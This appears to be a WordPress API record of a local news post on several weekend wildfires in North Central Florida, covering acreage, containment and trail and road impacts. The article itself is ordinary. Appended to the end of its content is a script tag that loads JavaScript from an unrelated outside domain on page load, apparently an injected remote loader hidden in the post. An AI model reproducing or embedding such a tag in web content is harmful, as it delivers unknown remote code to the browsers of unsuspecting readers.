{"id":222253,"date":"2020-06-29T10:46:53","date_gmt":"2020-06-29T14:46:53","guid":{"rendered":"https:\/\/wordpress-1.tempurl.host\/?p=222253"},"modified":"2020-06-29T10:47:13","modified_gmt":"2020-06-29T14:47:13","slug":"wildfires-spark-in-north-central-florida","status":"publish","type":"post","link":"https:\/\/thegraphicgeek.com\/demo-cflwire\/wildfires-spark-in-north-central-florida\/","title":{"rendered":"Wildfires Spark in North Central Florida"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Multiple wildfires broke out in separate locations throughout North Central Florida over this past weekend according to the Florida Forest Service.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">According to posts on their Facebook page, the Florida Forest Service responded to a total of five wildfires over this past weekend.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forestry crews first responded to the &#8220;South Gasline Fire&#8221;, a 30-acre wildfire Saturday afternoon located in the south end of the Goethe State Forest in Levy County.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The South Gasline Fire was caused by lightning and smoke from the fire impacted traffic on Highway 19 from Lebanon Station to Inglis.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forestry dozers quickly worked on creating a fireline to contain the fire and by Sunday the wildfire was 75% contained.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the same day, another lightning fire, dubbed the Cowpen Fire, broke out in the town of Bell, located approximately three miles east of US Highway 129 in Gilchrist County.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Cowpen Fire consumed approximately 70 acres and was 40% contained by Sunday.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On Sunday, the third lightning-caused wildfire later named the Barge Canal Fire, spread over 80 acres in Marion County in an area near State Road 200 and County Road 484.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Forestry crews and Marion County Fire Rescue worked together to contain 75% of the fire by Monday morning utilizing helicopter bucket drops.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">All hiking and biking trails on Greenways and Trails were closed and currently remain closed as a result of the Barge Canal Fire.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A fourth fire caused by lightning broke out and consumed 2 acres in Alachua County off of NE 39th Avenue in Gainesville.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The fire was quickly contained and no structures or buildings were damaged.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Another fire broke out late Sunday night in Marion County at the Rodman Bombing Range in the Ocala National Forest.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The latest fire is approximately 70 acres in size.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Drivers near the Oklawaha Bridge, State Road 19, and County Road 310 are asked to use caution when driving through the area due to the smoke.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The cause for this fire has not yet been released.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Crews are currently working to contain the fire.<\/p>\n<script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script>","protected":false},"excerpt":{"rendered":"<p>Several wildfires spark throughout north central Florida over the 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